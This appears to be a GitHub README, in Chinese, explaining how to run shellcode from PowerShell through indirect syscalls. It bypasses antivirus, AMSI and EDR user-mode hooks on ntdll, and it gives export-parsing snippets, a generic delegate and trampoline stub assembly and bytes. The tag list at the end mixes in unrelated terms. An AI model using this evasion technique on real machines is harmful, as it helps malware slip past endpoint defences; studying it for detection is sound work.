SilentisVox/Indirect-Syscalls-Via-PowerShell
GitHub: SilentisVox/Indirect-Syscalls-Via-PowerShell
通过间接系统调用在 PowerShell 中静默执行 shellcode,以绕过 AV/EDR 检测。
Stars: 0 | Forks: 0
# 通过 PowerShell 的间接系统调用
**防病毒软件(AV)** 与 **终端检测和响应(EDR)** 软件几乎存在于每一个机器执行环境之中。
这意味着任何可能被判定为恶意的可执行代码都无法真正被执行。
即使这意味着在 PowerShell 中执行。
本仓库旨在通过间接系统调用来执行 shellcode 的技术文档。
**免责声明**:本内容仅用于教育和测试目的。
不要在未经许可的机器上使用本工具。
不要使用本工具与未经授权通信的机器进行交互。
## 问题
防病毒软件会拒绝其脚本中发现的任何可疑内容。
已知的和疑似恶意的内容会在执行阶段前被拦截。
诸如从 DLL 导入函数、通过函数指针构建委托、经由 `.GetMethod()` 解析模块等已知恶意行为都会被阻止。
```
+ PS C:\> # Invoke-Shellcode
- At line:1 char:1
- + # Invoke-Shellcode
- + ~~~~~~~~~~~~~~~~~~
- This script contains malicious content and has been blocked by your antivirus software.
- + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
- + FullyQualifiedErrorId : ScriptContainedMaliciousContent
```
EDR 会挂钩 **动态链接库(DLL)**,例如 `ntdll.dll`,在系统调用前检查参数。
挂钩会在系统调用指令前插入跳转,以将参数暴露给其他函数。
如果参数中包含恶意 shellcode,该二进制文件会被标记为恶意,从而无法执行。
```
!ntdll.NtCreateThreadEx:
MOV R10, RCX
MOV EAX, 0xC9
JMP !EDR.Inspection
SYSCALL
RET
```
## 解决方案
每个进程都会加载 `ntdll.dll`。
执行所需的功能已随进程加载。
可以解析该模块以查找执行 shellcode 所需的函数。
如果我们设置一个手动存根函数,就可以忽略原始存根并直接跳转到我们的系统调用。
对每个函数应用所需的 **系统服务号(SSN)** 以及相对的 **系统调用指令地址**。
我们可以像调用普通函数一样调用这些自定义存根,从而在绕过用户态挂钩的同时保持正常行为。
### 导出解析
对于导出解析,最终方案将是手动实现。
对于委托定义,一种类型适用于所有情况。
遵循 Windows ABI 调用约定是宽容的,因为额外的参数对执行范围无害。
DLL 中的导出信息是标准化的。
导出目录包含 4 个关键字段。
每个字段包含该信息在 DLL 中的偏移(位置)。
每个位置以对象大小为间隔进行迭代(如 RVA 槽、地址等)。
查找当前索引处的导出名称。
如果名称符合需求,相同索引将返回 RVA 槽。
该槽将返回目标函数的地址。
```
$pDllBase = [Diagnostics.Process]::GetCurrentProcess().Modules.BaseAddress
$NumberOfNames = $pDllBase.e_lfanew.ExportDirectory.NumberOfNames
$AddressOfFunctions = $pDllBase.e_lfanew.ExportDirectory.AddressOfFunctions
$AddressOfNames = $pDllBase.e_lfanew.ExportDirectory.AddressOfNames
$NumberOfNameOrdinals = $pDllBase.e_lfanew.ExportDirectory.NumberOfNameOrdinals
```
### 委托构建
委托构建可以简化为单一类型。
重申一次,Windows API 使用标准调用约定。
额外参数不会被使用或读取,因为被调用的函数并不期望这些参数。
返回后,调用者负责清理栈上的原始参数。
基于此,我们可以创建遵循该标准的自定义运行时类型。
```
Add-Type @"
using System;
using System.Runtime.InteropServices;
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr pFrankenstub(
IntPtr Arg1,
IntPtr Arg2,
IntPtr Arg3,
...
);
"@
```
### 间接系统调用
所有讨论的 AMSI 规避方法仍然适用。
现代 EDR 会在系统调用前提供用户态挂钩以检查参数。
这些挂钩位于系统调用存根内部。
系统调用存根指令仍必须在系统调用前执行。
```
REAL_SYSCALL_STUB:
...
MOV R10, RCX
MOV EAX, 0xXXXX 0000
...
SYSCALL
RET
```
如果提供跳板(trampoline),我们可以静默地进行间接系统调用。
自行执行系统调用存根指令;跳转到精确的系统调用指令地址。
顺便一提,我能想到最简单的跳转方式是使用相对跳转。
这意味着地址会暂时存储在栈上,供系统调用前使用。
地址放置的位置是调用者栈帧中为被调用者保留的自由空间。
```
FRANKEN_STUB:
MOV RAX, QWORD [SYSCALL_ADDRESS]
MOV QWORD [RSP + 0x08], RAX
MOV R10, RCX
MOV EAX, DWORD [SYSTEM_SERVICE_NUMBER]
JMP QWORD [RSP + 0x08]
```
```
$FrankenStub = [byte[]] @(
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x89, 0x44, 0x24, 0x08,
0x49, 0x89, 0xCA,
0xB8, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x64, 0x24, 0x08
);
```
在 PowerShell 中无法原生映射可执行内存。
利用一次间接函数调用,我们可以创建静默间接系统调用。
推导出用于分页可执行内存的必要函数,然后利用它创建间接系统调用。
标签:AI合规, AV 绕过, Chrome扩展, DLL 劫持, EDR 绕过, Hook 绕过, Hpfeeds, IPv6, Libemu, PowerShell, Powershell 脚本, Raspberry Pi, Shellcode 注入, Shell模拟, 云资产清单, 内存执行, 内核级防护绕过, 动态加载, 多人体追踪, 大语言模型, 性能优化, 技术文档, 教育用途, 数据收集, 检测绕过, 端点可见性, 系统调用, 进程内存, 逆向工程, 间接系统调用, 隐蔽执行